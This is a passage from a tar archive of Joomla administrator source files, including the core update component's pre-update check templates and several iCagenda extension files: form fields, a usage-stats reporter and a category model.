 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var JoomlaupdateViewDefault $this */

// JText::script doesn't have a sprintf equivalent so work around this
JFactory::getDocument()->addScriptDeclaration("var COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_SHOW_MORE_COMPATIBILITY_INFORMATION = '" . JText::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_SHOW_MORE_COMPATIBILITY_INFORMATION', '<span class="icon-chevron-right small"></span>', true) . "';");
JFactory::getDocument()->addScriptDeclaration("var COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_SHOW_LESS_COMPATIBILITY_INFORMATION = '" . JText::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_SHOW_LESS_COMPATIBILITY_INFORMATION', '<span class="icon-chevron-up small"></span>', true) . "';");
JFactory::getDocument()->addScriptOptions('nonCoreCriticalPlugins', array_values($this->nonCoreCriticalPlugins));

$compatibilityTypes = array(
	'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_RUNNING_PRE_UPDATE_CHECKS' => array(
		'class' => 'label-default',
		'notes' => 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_RUNNING_PRE_UPDATE_CHECKS_NOTES',
		'group' => 0
	),
	'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_PRE_UPDATE_CHECKS_FAILED' => array(
		'class' => 'label-important',
		'notes' => 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_PRE_UPDATE_CHECKS_FAILED_NOTES',
		'group' => 4
	),
	'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_UPDATE_SERVER_OFFERS_NO_COMPATIBLE_VERSION' => array(
		'class' => 'label-important',
		'notes' => 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_UPDATE_SERVER_OFFERS_NO_COMPATIBLE_VERSION_NOTES',
		'group' => 1
	),
	'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_REQUIRING_UPDATES_TO_BE_COMPATIBLE' => array(
		'class' => 'label-warning',
		'notes' => 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_REQUIRING_UPDATES_TO_BE_COMPATIBLE_NOTES',
		'group' => 2
	),
	'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_PROBABLY_COMPATIBLE' => array(
		'class' => 'label-success',
		'notes' => 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_PROBABLY_COMPATIBLE_NOTES',
		'group' => 3
	)
);

if (version_compare($this->updateInfo['latest'], '4', '>=') && $this->isBackendTemplateIsis === false)
{
	JFactory::getApplication()->enqueueMessage(
		JText::_(
			'COM_JOOMLAUPDATE_VIEW_DEFAULT_NON_CORE_BACKEND_TEMPLATE_USED_NOTICE'
		),
		'info'
	);
}

?>
<h2>
	<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_PREUPDATE_CHECK', $this->updateInfo['latest']); ?>
</h2>
<p>
	<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXPLANATION_AND_LINK_TO_DOCS'); ?>
</p>
<div class="row-fluid">
	<fieldset class="span6 ">
		<?php $labelClass = 'success'; ?>
		<?php foreach ($this->phpOptions as $option) : ?>
			<?php if (!$option->state) : ?>
				<?php $labelClass = 'important'; ?>
				<?php break; ?>
			<?php endif; ?>
		<?php endforeach; ?>
		<legend class="label label-<?php echo $labelClass;?>">
			<h3>
				<?php echo $labelClass === 'important' ? JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_REQUIRED_SETTINGS_WARNING') : JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_REQUIRED_SETTINGS_PASSED'); ?>
				<div class="settingstoggle" data-state="closed">
					<?php echo JText::sprintf(
						'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_SHOW_MORE_COMPATIBILITY_INFORMATION',
						'<span class="icon-chevron-right small"></span>'
					); ?>
				</div>
			</h3>
		</legend>
		<div class="settingsInfo hidden" >
			<table class="table">
				<thead>
					<tr>
						<th>
							<?php echo JText::_('COM_JOOMLAUPDATE_PREUPDATE_HEADING_REQUIREMENT'); ?>
						</th>
						<th>
							<?php echo JText::_('COM_JOOMLAUPDATE_PREUPDATE_HEADING_CHECKED'); ?>
						</th>
					</tr>
				</thead>
				<tbody>
					<?php foreach ($this->phpOptions as $option) : ?>
						<tr>
							<td>
								<?php echo $option->label; ?>
							</td>
							<td>
								<span class="label label-<?php echo $option->state ? 'success' : 'important'; ?>">
									<?php echo JText::_($option->state ? 'JYES' : 'JNO'); ?>
									<?php if ($option->notice) : ?>
										<span class="icon-info icon-white hasTooltip" title="<?php echo $option->notice; ?>"></span>
									<?php endif; ?>
								</span>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		</div>
	</fieldset>
	<fieldset class="span6">
		<?php $labelClass = 'success'; ?>
		<?php foreach ($this->phpSettings as $setting) : ?>
			<?php if ($setting->state !== $setting->recommended) : ?>
				<?php $labelClass = 'warning'; ?>
				<?php break; ?>
			<?php endif; ?>
		<?php endforeach; ?>
		<legend class="label label-<?php echo $labelClass; ?>">
			<h3>
				<?php echo $labelClass === 'warning' ? JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_RECOMMENDED_SETTINGS_WARNING') : JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_RECOMMENDED_SETTINGS_PASSED'); ?>
				<div class="settingstoggle" data-state="closed">
					<?php echo JText::sprintf(
						'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_SHOW_MORE_COMPATIBILITY_INFORMATION',
						'<span class="icon-chevron-right small"></span>'
					); ?>
				</div>
			</h3>
		</legend>
		<div class="settingsInfo hidden" >
			<p>
				<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_RECOMMENDED_SETTINGS_DESC'); ?>
			</p>
			<table class="table">
				<thead>
					<tr>
						<th>
							<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_DIRECTIVE'); ?>
						</th>
						<th>
							<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_RECOMMENDED'); ?>
						</th>
						<th>
							<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_ACTUAL'); ?>
						</th>
					</tr>
				</thead>
				<tbody>
					<?php foreach ($this->phpSettings as $setting) : ?>
						<tr>
							<td>
								<?php echo $setting->label; ?>
							</td>
							<td>
								<?php echo JText::_($setting->recommended ? 'JON' : 'JOFF'); ?>
							</td>
							<td>
								<span class="label label-<?php echo ($setting->state === $setting->recommended) ? 'success' : 'warning'; ?>">
									<?php echo JText::_($setting->state ? 'JON' : 'JOFF'); ?>
								</span>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		</div>
	</fieldset>
</div>
<?php if (!empty($this->nonCoreExtensions)) : ?>
	<div>
		<h3>
			<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS'); ?>
		</h3>
		<?php foreach ($compatibilityTypes as $compatibilityType => $compatibilityData) : ?>
			<?php $compatibilityDisplayClass = $compatibilityData['class']; ?>
			<?php $compatibilityDisplayNotes = $compatibilityData['notes']; ?>
			<?php $compatibilityTypeGroup    = $compatibilityData['group']; ?>
			<fieldset id="compatibilitytype<?php echo $compatibilityTypeGroup;?>" class="span12 compatibilitytypes">
				<legend class="label <?php echo $compatibilityDisplayClass; ?>">
					<h3>
						<?php if ($compatibilityType !== "COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_RUNNING_PRE_UPDATE_CHECKS") : ?>
							<div class="compatibilitytoggle" data-state="closed">
								<?php echo JText::sprintf(
									'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_SHOW_MORE_COMPATIBILITY_INFORMATION',
									'<span class="icon-chevron-right small"></span>'
								); ?>
							</div>
						<?php endif; ?>
						<?php echo JText::_($compatibilityType); ?>
					</h3>
				</legend>
				<div class="compatibilityNotes">
					<?php echo JText::_($compatibilityDisplayNotes); ?>
				</div>
				<table class="table">
					<thead class="row-fluid">
						<tr>
							<th class="exname span8">
								<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_NAME'); ?>
							</th>
							<th class="extype span4">
								<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_TYPE'); ?>
							</th>
							<th class="instver hidden">
								<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_INSTALLED_VERSION'); ?>
							</th>
							<th class="upcomp hidden">
								<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_COMPATIBLE_WITH_JOOMLA_VERSION', isset($this->updateInfo['installed']) ? $this->updateInfo['installed'] : JVERSION); ?>
							</th>
							<th class="currcomp hidden">
								<?php echo JText::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_COMPATIBLE_WITH_JOOMLA_VERSION', $this->updateInfo['latest']); ?>
							</th>
						</tr>
					</thead>
					<tbody class="row-fluid">
						<?php // Only include this row once since the javascript moves the results into the right place ?>
						<?php if ($compatibilityType == "COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_RUNNING_PRE_UPDATE_CHECKS") : ?>
							<?php foreach ($this->nonCoreExtensions as $extension) : ?>
								<tr>
									<td class="exname span8">
										<?php echo JText::_($extension->name); ?>
									</td>
									<td class="extype span4">
										<?php echo JText::_('COM_INSTALLER_TYPE_' . strtoupper($extension->type)); ?>
									</td>
									<td class="instver hidden">
										<?php echo $extension->version; ?>
									</td>
									<td id="available-version-<?php echo $extension->extension_id; ?>" class="currcomp hidden"/>
									<td
										class="extension-check upcomp hidden"
										data-extension-id="<?php echo $extension->extension_id; ?>"
										data-extension-current-version="<?php echo $extension->version; ?>"
									>
										<img src="../media/jui/images/ajax-loader.gif" />
									</td>
								</tr>
							<?php endforeach; ?>
						<?php endif; ?>
					</tbody>
				</table>
			</fieldset>
		<?php endforeach; ?>
	</div>
<?php else: ?>
	<div class="row-fluid">
		<div class="span6">
			<h3>
				<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS'); ?>
			</h3>
			<div class="alert alert-no-items">
				<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_NONE'); ?>
			</div>
		</div>
	</div>
<?php endif; ?>
com_joomlaupdate/views/default/tmpl/default.php000060400000011336152455305270015770 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_joomlaupdate
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var JoomlaupdateViewDefault $this */

JHtml::_('jquery.framework');
JHtml::_('bootstrap.tooltip');
JHtml::_('bootstrap.popover');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('script', 'com_joomlaupdate/default.js', array('version' => 'auto', 'relative' => true));

JText::script('JYES');
JText::script('JNO');
JText::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_NO_COMPATIBILITY_INFORMATION');
JText::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_WARNING_UNKNOWN');
JText::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_SERVER_ERROR');
JText::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_POTENTIALLY_DANGEROUS_PLUGIN');
JText::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_POTENTIALLY_DANGEROUS_PLUGIN_DESC');
JText::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_POTENTIALLY_DANGEROUS_PLUGIN_LIST');
JText::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_POTENTIALLY_DANGEROUS_PLUGIN_CONFIRM_MESSAGE');
JText::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_HELP');

$latestJoomlaVersion = $this->updateInfo['latest'];
$currentJoomlaVersion = isset($this->updateInfo['installed']) ? $this->updateInfo['installed'] : JVERSION;

JFactory::getDocument()->addScriptDeclaration(
<<<JS
jQuery(document).ready(function($) {
	$('#extraction_method').change(function(e){
		extractionMethodHandler('#extraction_method', 'row_ftp');
	});
	$('#upload_method').change(function(e){
		extractionMethodHandler('#upload_method', 'upload_ftp');
	});

	$('button.submit').on('click', function() {
		$('div.download_message').show();
	});
});

var joomlaTargetVersion = '$latestJoomlaVersion';
var joomlaCurrentVersion = '$currentJoomlaVersion';
JS
);

?>

<div id="joomlaupdate-wrapper">
	<?php if ($this->showUploadAndUpdate) : ?>
		<?php echo JHtml::_('bootstrap.startTabSet', 'joomlaupdate-tabs', array('active' => $this->shouldDisplayPreUpdateCheck() ? 'pre-update-check' : 'online-update')); ?>
		<?php if ($this->shouldDisplayPreUpdateCheck()) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'joomlaupdate-tabs', 'pre-update-check', JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_TAB_PRE_UPDATE_CHECK')); ?>
			<?php echo $this->loadTemplate('preupdatecheck'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>
		<?php echo JHtml::_('bootstrap.addTab', 'joomlaupdate-tabs', 'online-update', JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_TAB_ONLINE')); ?>
	<?php endif; ?>

	<form enctype="multipart/form-data" action="index.php" method="post" id="adminForm" class="form-horizontal">

		<?php if ($this->selfUpdate) : ?>
			<?php // If we have a self update notice to install it first! ?>
			<?php JFactory::getApplication()->enqueueMessage(JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALL_SELF_UPDATE_FIRST'), 'error'); ?>
			<?php echo $this->loadTemplate('updatemefirst'); ?>
		<?php else : ?>
			<?php if ((!isset($this->updateInfo['object']->downloadurl->_data)
				&& !$this->updateInfo['hasUpdate'])
				|| !$this->getModel()->isDatabaseTypeSupported()
				|| !$this->getModel()->isPhpVersionSupported()) : ?>
		<?php // If we have no download URL or our PHP version or our DB type is not supported we can't reinstall or update ?>
				<?php echo $this->loadTemplate('noupdate'); ?>
			<?php elseif (!isset($this->updateInfo['object']->downloadurl->_data)) : ?>
				<?php echo $this->loadTemplate('nodownload'); ?>
			<?php elseif (!$this->updateInfo['hasUpdate']) : ?>
				<?php // If we have no update but we have a downloadurl we can reinstall the core ?>
				<?php echo $this->loadTemplate('reinstall'); ?>
			<?php else : ?>
				<?php // Ok let's show the update template ?>
				<?php echo $this->loadTemplate('update'); ?>
			<?php endif; ?>
		<?php endif; ?>

		<input type="hidden" name="task" value="update.download" />
		<input type="hidden" name="option" value="com_joomlaupdate" />

		<?php echo JHtml::_('form.token'); ?>
	</form>

	<?php // Only Super Users have access to the Update & Install for obvious security reasons ?>
	<?php if ($this->showUploadAndUpdate) : ?>
		<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php echo JHtml::_('bootstrap.addTab', 'joomlaupdate-tabs', 'upload-update', JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_TAB_UPLOAD')); ?>
		<?php echo $this->loadTemplate('upload'); ?>
		<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	<?php endif; ?>

	<div class="download_message" style="display: none">
		<p></p>
		<p class="nowarning">
			<?php echo JText::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_DOWNLOAD_IN_PROGRESS'); ?>
		</p>
		<div class="joomlaupdate_spinner"></div>
	</div>
	<div id="loading"></div>
</div>
com_joomlaupdate/views/default/tmpl/default.xml000060400000000332152455305270015773 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_JOOMLAUPDATE_DEFAULT_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_JOOMLAUPDATE_DEFAULT_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_icagenda/assets/index.html000060400000000032152455305270012433 0ustar00<html><body></body></html>com_icagenda/assets/elements/titleimg.php000060400000004232152455305270014607 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.4 2015-04-02
 * @since       1.2.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('JPATH_BASE') or die;

jimport('joomla.form.formfield');

// Test if translation is missing, set to en-GB by default
$language = JFactory::getLanguage();
$language->load('com_icagenda', JPATH_ADMINISTRATOR, 'en-GB', true);
$language->load('com_icagenda', JPATH_ADMINISTRATOR, null, true);

JHtml::stylesheet('com_icagenda/icagenda-back.css', false, true);

class JFormFieldTitleImg extends JFormField
{
	protected $type = 'TitleImg';

	protected function getInput()
	{
		return ' ';
	}

	protected function getLabel()
	{
		$html = array();

		// Affichage texte

		$label = $this->element['label'];
		$label = $this->translateLabel ? JText::_($label) : $label;

		$style = $this->element['style'];
		$style = $this->translateLabel ? JText::_($style) : $style;

		$class = $this->element['class'];
		$class = $this->translateLabel ? JText::_($class) : $class;

		$icimage = $this->element['icimage'];
		$image = '../media/com_icagenda/images/'. $icimage .'';

		$icicon = $this->element['icicon'];

		// Contruction
		$html[] = '<div class="';
		$html[] = $class;
		$html[] = '" ';
		$html[] = 'style="';
		$html[] = $style;
		$html[] = 'display:block;clear:both;">';

		if ($icimage)
		{
			$html[] = '<img src="';
			$html[] = $image;
			$html[] = '" style="float:left; padding: 6px 10px 10px 0px;" />';
		}
		elseif ($icicon)
		{
			$html[] = '<span class="iCicon-';
			$html[] = $icicon;
			$html[] = '"></span> ';
		}

		$html[] = $label;
		$html[] = '</div>';

		return implode('',$html);
	}
}
com_icagenda/assets/elements/index.html000060400000000054152455305270014253 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/assets/elements/titleheader.php000060400000002113152455305270015257 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.4 2015-04-13
 * @since       3.5.4
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('JPATH_BASE') or die;

jimport('joomla.form.formfield');


class JFormFieldTitleHeader extends JFormField
{
	protected $type = 'TitleHeader';

	protected function getInput()
	{
		return ' ';
	}

	protected function getLabel()
	{
    	$label = $this->element['label'];
		$label = $this->translateLabel ? JText::_($label) : $label;

    	$html = '<h3>' . $label . '</h3>';

    	return $html;
	}
}
com_icagenda/assets/elements/desc.php000060400000006167152455305270013720 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.4 2015-04-02
 * @since       3.2.0.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('JPATH_BASE') or die;

jimport('joomla.form.formfield');

// Test if translation is missing, set to en-GB by default
$language = JFactory::getLanguage();
$language->load('com_icagenda', JPATH_ADMINISTRATOR, 'en-GB', true);
$language->load('com_icagenda', JPATH_ADMINISTRATOR, null, true);


class JFormFieldDesc extends JFormField
{
	protected $type = 'Desc';

	protected function getLabel()
	{
		return ' ';
	}

	protected function getInput()
	{
		$html = array();

		$document = JFactory::getDocument();

		// Joomla 2.5
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JHtml::stylesheet('com_icagenda/template.j25.css', false, true);
			JHtml::stylesheet('com_icagenda/icagenda-back.j25.css', false, true);

			JHTML::_('behavior.framework');

			// load jQuery, if not loaded before
			$scripts = array_keys($document->_scripts);
			$scriptFound = false;
			$scriptuiFound = false;

			for ($i = 0; $i < count($scripts); $i++)
			{
				if (stripos($scripts[$i], 'jquery.min.js') !== false)
				{
					$scriptFound = true;
				}
				// load jQuery, if not loaded before as jquery
				if (stripos($scripts[$i], 'jquery.js') !== false)
				{
					$scriptFound = true;
				}
				if (stripos($scripts[$i], 'jquery-ui.min.js') !== false)
				{
					$scriptuiFound = true;
				}
			}

			// jQuery Library Loader
			if (!$scriptFound)
			{
				// load jQuery, if not loaded before
				if (!JFactory::getApplication()->get('jquery'))
				{
					JFactory::getApplication()->set('jquery', true);
					// add jQuery
					$document->addScript('https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js');
					$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/jquery.noconflict.js' );
				}
			}

			if (!$scriptuiFound)
			{
				$document->addScript('https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js');
			}

			$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/template.js' );
		}

		$label = $this->element['label'];
		$label = $this->translateLabel ? JText::_($label) : $label;

		$style = $this->element['style'];
		$style = $this->translateLabel ? JText::_($style) : $style;

		$class = $this->element['class'];
		$class = $this->translateLabel ? JText::_($class) : $class;


		// Contruction
		$html[] = "<div class='";
		$html[] = $class;
		$html[] = "' ";
		$html[] = "style='";
		$html[] = $style;
		$html[] = "display:block;clear:both;'>";
		$html[] = $label;
		$html[] = "</div>";

		return implode('',$html);

	}
}
com_icagenda/assets/elements/title.php000060400000006471152455305270014121 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.4 2015-04-02
 * @since       1.2.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('JPATH_BASE') or die;

jimport('joomla.form.formfield');

// Test if translation is missing, set to en-GB by default
$language = JFactory::getLanguage();
$language->load('com_icagenda', JPATH_ADMINISTRATOR, 'en-GB', true);
$language->load('com_icagenda', JPATH_ADMINISTRATOR, null, true);

JHtml::stylesheet('com_icagenda/icagenda-back.css', false, true);


class JFormFieldTitle extends JFormField
{
	protected $type = 'Title';

	protected function getInput()
	{
		return ' ';
	}

	protected function getLabel()
	{
		$html = array();

		$document = JFactory::getDocument();
		$document->addStyleSheet( JURI::root( true ) . '/media/com_icagenda/icicons/style.css' );

		// Joomla 2.5
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JHtml::stylesheet('com_icagenda/template.j25.css', false, true);
			JHtml::stylesheet('com_icagenda/icagenda-back.j25.css', false, true);

			JHTML::_('behavior.framework');

			// load jQuery, if not loaded before
			$scripts = array_keys($document->_scripts);
			$scriptFound = false;
			$scriptuiFound = false;

			for ($i = 0; $i < count($scripts); $i++)
			{
				if (stripos($scripts[$i], 'jquery.min.js') !== false)
				{
					$scriptFound = true;
				}
				// load jQuery, if not loaded before as jquery
				if (stripos($scripts[$i], 'jquery.js') !== false)
				{
					$scriptFound = true;
				}
				if (stripos($scripts[$i], 'jquery-ui.min.js') !== false)
				{
					$scriptuiFound = true;
				}
			}

			// jQuery Library Loader
			if (!$scriptFound)
			{
				// load jQuery, if not loaded before
				if (!JFactory::getApplication()->get('jquery'))
				{
					JFactory::getApplication()->set('jquery', true);
					// add jQuery
					$document->addScript('https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js');
					$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/jquery.noconflict.js' );
				}
			}

			if (!$scriptuiFound)
			{
				$document->addScript('https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js');
			}

			$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/template.js' );
		}

    	$label = $this->element['label'];
		$label = $this->translateLabel ? JText::_($label) : $label;

    	$style = $this->element['style'];
		$style = $this->translateLabel ? JText::_($style) : $style;

    	$class = $this->element['class'];
		$class = $this->translateLabel ? JText::_($class) : $class;


		// Contruction
    	$html[] = "<div class='";
    	$html[] = $class;
    	$html[] = "' ";
    	$html[] = "style='";
    	$html[] = $style;
    	$html[] = "display:block;clear:both;'>";
    	$html[] = $label;
    	$html[] = "</div>";

    	return implode('',$html);
	}
}
com_icagenda/assets/jcms/info.php000060400000004333152455305270013046 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Adapted from Nicholas K. Dionysopoulos - www.akeebabackup.com
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-24
 * @since       3.5.6
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

class iCagendaSystemInfo
{
	/** @var string Unique identifier for the site, created from server variables */
	private $siteId;
	/** @var array Associative array of data being sent */
	private $data = array();
	/** @var string Remote url to upload the stats */
	private $remoteUrl = 'http://stats.joomlic.com/index.php';

	public function setSiteId($siteId)
	{
		$this->siteId = $siteId;
	}

	/**
	 * Sets the value of a collected variable. Use NULL as value to unset it
	 *
	 * @param   string  $key        Variable name
	 * @param   string  $value      Variable value
	 */
	public function setValue($key, $value)
	{
		if (is_null($value) && isset($this->data[$key]))
		{
			unset($this->data[$key]);
		}
		else
		{
			$this->data[$key] = $value;
		}
	}

	/**
	 * Uploads collected data to the remote server
	 *
	 * @param   bool    $useIframe  Should I create an iframe to upload data or should I use cURL/fopen?
	 *
	 * @return  string|bool     The HTML code if an iframe is requested or a boolean if we're using cURL/fopen
	 */
	public function sendInfo()
	{
		// No site ID? Well, simply do nothing
		if ( ! $this->siteId)
		{
			return '';
		}

		// First of all let's add the siteId
		$this->setValue('sid', $this->siteId);

		// Then let's create the url
		$url = array();

		foreach ($this->data as $param => $value)
		{
			$url[] .= $param . '=' . $value;
		}

		$url = $this->remoteUrl . '?' . implode('&', $url);

		return '<iframe style="display: none" src="' . $url . '"></iframe>';
	}
}
com_icagenda/models/category.php000060400000010321152455305270012747 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rez�, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rez� (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-12-04
 * @since		1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modeladmin');


/**
 * iCagenda model.
 */
class iCagendaModelCategory extends JModelAdmin
{
	/**
	 * @var		string	The prefix to use with controller messages.
	 * @since	1.6
	 */
	protected $text_prefix = 'COM_ICAGENDA';


	/**
	 * Returns a reference to the a Table object, always creating it.
	 *
	 * @param	type	The table type to instantiate
	 * @param	string	A prefix for the table class name. Optional.
	 * @param	array	Configuration array for model. Optional.
	 * @return	JTable	A database object
	 * @since	1.6
	 */
	public function getTable($type = 'Category', $prefix = 'iCagendaTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get the record form.
	 *
	 * @param	array	$data		An optional array of data for the form to interogate.
	 * @param	boolean	$loadData	True if the form is to load its own data (default case), false if not.
	 * @return	JForm	A JForm object on success, false on failure
	 * @since	1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Initialise variables.
		$app	= JFactory::getApplication();

		// Get the form.
		$form = $this->loadForm('com_icagenda.category', 'category', array('control' => 'jform', 'load_data' => $loadData));
		if (empty($form)) {
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return	mixed	The data for the form.
	 * @since	1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_icagenda.edit.category.data', array());

		if (empty($data)) {
			$data = $this->getItem();
		}

		return $data;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param	integer	The id of the primary key.
	 *
	 * @return	mixed	Object on success, false on failure.
	 * @since	1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk)) {

			//Do any procesing on fields here if needed

		}

		return $item;
	}

	/**
	 * Prepare and sanitise the table prior to saving.
	 *
	 * @since	1.0
	 */

	protected function prepareTable( $table )
	{
		if (empty($table->id)) {

			// Set ordering to the last item if not set
			if (@$table->ordering === '') {
				$db = JFactory::getDbo();
				$db->setQuery('SELECT MAX(ordering) FROM #__icagenda_category');
				$max = $db->loadResult();
				$table->ordering = $max+1;
			}

		}
	}

	/**
	 * Method to save the form data.
	 *
